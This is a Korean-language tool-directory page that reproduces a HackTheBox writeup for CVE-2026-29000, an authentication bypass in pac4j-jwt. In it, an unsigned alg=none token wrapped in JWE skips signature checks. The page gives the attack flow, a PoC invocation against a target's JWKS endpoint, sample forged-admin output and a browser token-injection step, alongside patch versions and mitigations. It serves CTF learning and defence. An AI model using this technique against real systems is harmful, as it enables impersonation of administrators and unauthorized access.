Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-29000-pac4j-jwt-auth-bypass — Proof-of-Concept(PoC)로, JWE(JSON Web Encryption)를 사용하는 pac4j-jwt 기반 애플리케이션에 영향을 미치는 인증 우회 취약점을 위한 것입니다. | Kitploit
도구/GitHubGitHub/ptechamanja/cve-2026-29000-pac4j-jwt-auth-bypass
Vulnerability AnalysisExploitationWeb SecurityCTFPenetration TestingAuthentication
GitHubptechamanja/cve-2026-29000-pac4j-jwt-auth-bypass

CVE-2026-29000-pac4j-jwt-auth-bypass

Proof-of-Concept(PoC)로, JWE(JSON Web Encryption)를 사용하는 pac4j-jwt 기반 애플리케이션에 영향을 미치는 인증 우회 취약점을 위한 것입니다.

저장소 보기
175개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

HTB Principal — CVE-2026-29000 Writeup

면책 조항: 이 익스플로잇은 은퇴한 HackTheBox 머신 "Principal"을 위해 개발되었습니다. 교육 목적으로만 사용하십시오. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오.

머신 정보

필드세부 정보
이름Principal
플랫폼HackTheBox
난이도—
상태은퇴(Retired)

취약점 — CVE-2026-29000

영향을 받는 라이브러리: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
심각도: 치명적(Critical)
유형: 인증 우회(Authentication Bypass)

요약

JwtAuthenticator의 논리 결함으로 인해 공격자는 서명되지 않은 PlainJWT(alg=none)를 JWE(암호화된 JWT) 내부에 래핑하여 인증을 우회할 수 있습니다.

서버가 JWE를 복호화하면 내부 토큰을 SignedJWT로 파싱하려고 시도합니다. 내부 토큰이 PlainJWT이므로 SignedJWT 객체는 null이 되고 서명 검증은 완전히 건너뜁니다. 그런 다음 서버는 검증되지 않은 클레임에서 사용자 프로필을 생성합니다 — 이를 통해 관리자를 포함한 모든 사용자로 완전히 가장할 수 있습니다.

공격 요구 사항

  • 서버의 RSA 공개 키 (종종 JWKS 엔드포인트를 통해 노출됨)
  • 내부 클레임 이름에 대한 지식 (예: roles, subject 형식)

익스플로잇 흐름

root@kitploit:~
악성 클레임 생성 (sub=admin, role=ROLE_ADMIN)
        ↓
서명되지 않은 PlainJWT 생성 (alg=none)
        ↓
서버의 RSA 공개 키를 사용하여 PlainJWT를 JWE 내부에 래핑
        ↓
JWE 토큰을 서버에 제출
        ↓
서버가 JWE 복호화 → PlainJWT 발견 → 서명 검사 건너뜀 → 액세스 허용

익스플로잇

exploit.py 참조


수정 방법

pac4j-jwt를 패치된 버전으로 업그레이드하십시오:

  • 4.5.9 이상
  • 5.7.9 이상
  • 6.3.3 이상

또는 JWE 복호화 후 PlainJWT 내부 토큰을 명시적으로 거부하십시오:

root@kitploit:~
if (jwt instanceof PlainJWT) {
    throw new CredentialsException("PlainJWT not allowed inside JWE");
}

⚙️ 공격 흐름

  1. 다음에서 공개 키 검색:
root@kitploit:~

/api/auth/jwks

  1. 악성 JWT 생성:
  • alg: none
  • 관리자 역할 주입
  1. 공개 키를 사용하여 JWE 내부에 래핑

  2. 다음으로 전송:

root@kitploit:~

Authorization: Bearer <token>

  1. 무단 액세스 획득

🛠️ PoC 사용법

의존성 설치

root@kitploit:~
pip install jwcrypto requests

익스플로잇 실행

root@kitploit:~
python3 poc.py \
--jwks-url http://target/api/auth/jwks \
--target http://target/api/dashboard

📤 예제 출력

root@kitploit:~
[+] Forged Token:
eyJhbGciOiJSU0EtT0FFUC0yNTYi...

[+] Browser Injection:
sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYi...")

[+] Status: 200
{"user":{"username":"admin","role":"ROLE_ADMIN"}}

🌐 브라우저 익스플로잇

DevTools → 콘솔 열기:

root@kitploit:~
sessionStorage.setItem("auth_token", "<PASTE_TOKEN_HERE>")

그런 다음 다음으로 이동:

root@kitploit:~
/dashboard

🔥 영향

  • 완전한 인증 우회
  • 관리자로의 권한 상승
  • 무단 API 액세스
  • 잠재적 수평 이동

🛡️ 완화 조치

  • 복호화 후 항상 JWT 서명(JWS) 검증
  • alg: none 토큰 거부
  • 엄격한 토큰 검증 정책 적용
  • 신뢰를 위해 암호화에만 의존하지 않기

👤 작성자

  • Doomsknight

참고 자료

  • pac4j 보안 권고
  • HackTheBox
도구 다운로드